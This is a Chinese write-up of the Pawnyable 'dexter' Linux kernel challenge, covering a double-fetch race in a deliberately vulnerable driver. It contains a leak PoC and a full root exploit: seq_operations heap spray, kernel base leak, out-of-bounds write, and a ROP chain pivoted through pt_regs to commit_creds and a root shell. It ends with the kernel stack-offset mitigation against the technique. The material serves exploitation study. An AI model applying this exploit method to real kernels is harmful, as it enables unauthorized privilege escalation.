0014-TIPS-pawnyable : Double-Fetch && pt_regs

原文
Linux Kernel PWN | 040302 Pawnyable之双取
Double Fetch
题目下载

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Dexter - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "dexter"
#define BUFFER_SIZE 0x20
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002

typedef struct {
  char *ptr;
  size_t len;
} request_t;

static int module_open(struct inode *inode, struct file *filp) {
  filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!filp->private_data) return -ENOMEM;
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  kfree(filp->private_data);
  return 0;
}

int verify_request(void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -1;
  if (!req.ptr || req.len > BUFFER_SIZE)
    return -1;
  return 0;
}

long copy_data_to_user(struct file *filp, void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -EINVAL;
  if (copy_to_user(req.ptr, filp->private_data, req.len))
    return -EINVAL;
  return 0;
}

long copy_data_from_user(struct file *filp, void *reqp) {
  request_t req;
  if (copy_from_user(&req, reqp, sizeof(request_t)))
    return -EINVAL;
  if (copy_from_user(filp->private_data, req.ptr, req.len))
    return -EINVAL;
  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  if (verify_request((void*)arg))
    return -EINVAL;

  switch (cmd) {
    case CMD_GET: return copy_data_to_user(filp, (void*)arg);
    case CMD_SET: return copy_data_from_user(filp, (void*)arg);
    default: return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

漏洞点如下:

  • 用户态调用ioctl传递到内核态的值strcut request_t *是一个指针
  • 执行verify_request,会将strcut request_t *指针的内容,从用户态拷贝到内核态进行检查,这个没有问题
    在这里插入图片描述
  • 但是在verify_request验证成功之后,在执行copy_data_to_usercopy_data_from_user时,还是通过strcut request_t *从用户态复制数据,这就导致在verify_request函数中copy_from_user执行之后,在copy_data_from_user函数 copy_from_user执行之前可以修改用户态中struct reuqest 的值,从而是verify_request检测无效

在这里插入图片描述

在这里插入图片描述

poc如下

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

typedef struct {
    char *ptr;
    size_t len;
} request_t;

int fd;
request_t req;
int race_win = 0;

int set(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_SET, &req);
}

int get(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_GET, &req);
}

void *race(void *arg) {
    puts("[*] trying to set req.len to 0x100");
    while (!race_win) {
        req.len = 0x100;
        usleep(1);
    }
    return NULL;
}

int main() {
    fd = open("/dev/dexter", O_RDWR);
    if (fd == -1)
        fatal("/dev/dexter");

    char buf[0x100] = {0};
    char zero[0x100] = {0};
    pthread_t th;
    pthread_create(&th, NULL, race, NULL);
    puts("[*] trying to read 0x20 from /dev/dexter");
    while (!race_win) {
        get(buf, 0x20);
        if (memcmp(buf, zero, 0x100) != 0) {
            puts("[+] reached race condition");
            race_win = 1;
            break;
        }
    }
    pthread_join(th, NULL);
    puts("[+] more than 0x20 data is leaked:");
    for (int i = 0; i < 0x100; i += 8)
        printf("%02x: 0x%016lx\n", i, *(unsigned long *)&buf[i]);

    close(fd);
    return 0;
}

漏洞利用

seq_operatioins && kmalloc-32

由于本题中,可通过Double-Fetch利用的堆对象在 kmalloc-32中

#define BUFFER_SIZE 0x20
filp->private_data = kzalloc(BUFFER_SIZE, GFP_KERNEL);

可通过open("/proc/self/stat", O_RDONLY)堆喷struct seq_operations结构体,填充到kmalloc-32 slab中

int fd_staa = open("/proc/self/stat", O_RDONLY);

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

通过read系统调用会触发 seq_operations->start,但是read系统调用传递的参数无法传递给 seq_operations->start

漏洞利用 pt_regs

在系统调用进入内核态时,会将用户态的寄存器,保存在内核态的struct pt_regs结构体中,该结构体位于内核栈的栈底
可通过在用户态的寄存器中布局rop,再通过seq_operations->start实现栈迁移到pt_regs处,实现提权

关于怎么从seq_operations->start栈迁移到pt_regs处,对于本题,可以通过调试,在seq_operations->start触发前,观察当前rsp到栈底部pt_regs首部的偏移,再通过类似add rsp number; xxx; xxx; ret;跳转到pt_regs首部
在这里插入图片描述

对可控寄存器的赋值
在这里插入图片描述

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define SPRAY_NUM 200
#define VUL_BUF_LEN 0x20
#define BUF_LEN 0x40
#define CMD_GET 0xdec50001
#define CMD_SET 0xdec50002

#define ofs_seq_ops_start 0x170f80
#define add_rsp_0x140_pop6_ret (kbase + 0x0bf813)

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

uint64_t swapgs_restore_regs_and_return_to_usermode = 0x800e10 + 0x12;
uint64_t mov_rdi_rax_rep_movsq_ret = 0x63d0ab;
uint64_t prepare_kernel_cred = 0x0729b0;
uint64_t commit_creds = 0x072810;
uint64_t pop_rdi_ret = 0x29033c;
//uint64_t pop_rax_ret = 0x1366ca;
uint64_t pop_rcx_ret = 0x10d88b;
uint64_t pop_rbx_ret = 0x290240;

unsigned long kbase;
unsigned long g_buf;

typedef struct {
    char *ptr;
    size_t len;
} request_t;

int fd;
int tmp_fd;
request_t req;
int race_win = 0;

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int set(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_SET, &req);
}

int get(char *buf, size_t len) {
    req.ptr = buf;
    req.len = len;
    return ioctl(fd, CMD_GET, &req);
}

void *race(void *arg) {
    printf("[*] trying to set req.len to 0x%lx\n", (size_t)arg);
    while (!race_win) {
        req.len = (size_t)arg;
        usleep(1);
    }
    return NULL;
}

void oob_read(char *buf, size_t len) {
    char *zero = (char *)malloc(len);
    pthread_t th;
    pthread_create(&th, NULL, race, (void *)len);
    puts("[*] trying to achieve OOB read");
    memset(buf, 0, len);
    memset(zero, 0, len);
    while (!race_win) {
        get(buf, VUL_BUF_LEN);
        if (memcmp(buf, zero, len) != 0) {
            race_win = 1;
            break;
        }
    }
    pthread_join(th, NULL);

    printf("[+] achieved OOB read (0x%lx bytes)\n", len);
    race_win = 0;
    free(zero);
}

void oob_write(char *buf, size_t len) {
    puts("[*] trying to achieve OOB write");
    pthread_t th;
    char *tmp = (char *)malloc(len);

    while (1) {
        pthread_create(&th, NULL, race, (void *)len);
        for (int i = 0; i < 0x10000; i++)
            set(buf, VUL_BUF_LEN);
        race_win = 1;
        pthread_join(th, NULL);
        race_win = 0;

        oob_read(tmp, len);
        if (memcmp(tmp, buf, len) == 0)
            break;
    }
    printf("[+] achieved OOB write (0x%lx bytes)\n", len);
    free(tmp);
}

int main() {
    char buf[BUF_LEN];
    char temp[0x20] = {0};
    int spray[SPRAY_NUM];
    printf("[*] spraying %d seq_operations objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM - 1; i++) {
        spray[i] = open("/proc/self/stat", O_RDONLY);
        if (spray[i] == -1)
            perror("open");
    }
    printf("[+] /dev/dexter opened\n");
    fd = open("/dev/dexter", O_RDWR);
    if (fd == -1)
        fatal("/dev/dexter");

    spray[SPRAY_NUM - 1] = open("/proc/self/stat", O_RDONLY);

    oob_read(buf, BUF_LEN);

    printf("[*] leaking kernel base with seq_operations\n");
    kbase = *(unsigned long *)&buf[0x20] - ofs_seq_ops_start;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);

    swapgs_restore_regs_and_return_to_usermode += kbase;
    mov_rdi_rax_rep_movsq_ret += kbase;
    prepare_kernel_cred += kbase;
    commit_creds += kbase;
    pop_rdi_ret += kbase;
    pop_rbx_ret += kbase;
    pop_rcx_ret += kbase;

    *(unsigned long *)&buf[0x20] = add_rsp_0x140_pop6_ret;

    oob_write(buf, BUF_LEN);
    // https://www.anquanke.com/post/id/260055
    tmp_fd = spray[SPRAY_NUM - 1];
    __asm__(".intel_syntax noprefix;"
            "mov r15, pop_rdi_ret;"
            "mov r14, 0x0;"
            "mov r13, prepare_kernel_cred;"
            "mov r12, pop_rcx_ret;"
            "mov rbp, 0x0;"
            "mov rbx, pop_rbx_ret;"
            "mov r11, 0xbbbbbbbb;"
            "mov r10, mov_rdi_rax_rep_movsq_ret;"
            "mov r9, commit_creds;"
            "mov r8, swapgs_restore_regs_and_return_to_usermode;"
            "xor rax, rax;"		// 系统调用号
            "mov rdx, 0x8;"		// 参数3
            "mov rsi, rsp;"		// 参数2
            "mov rdi, tmp_fd;"	// 参数1 tmp_fd = open("/proc/self/stat")
            "syscall;"
            ".att_syntax");

    spawn_shell();
    close(fd);
    return 0;
}

新版本内核对抗利用 pt_regs 进行攻击的办法

来源自这里
正所谓魔高一尺道高一丈,内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与我们触发劫持内核执行流时的栈间偏移值不再是固定值,这个保护的开启需要 CONFIG_RANDOMIZE_KSTACK_OFFSET=y (默认开启)

diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
 #ifdef CONFIG_X86_64
 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
 {
+	add_random_kstack_offset();
 	nr = syscall_enter_from_user_mode(regs, nr);
 
 	instrumentation_begin();

当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget 来继续完成利用,不过稳定性也大幅下降了, 可以说这种利用方式基本上是废了

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值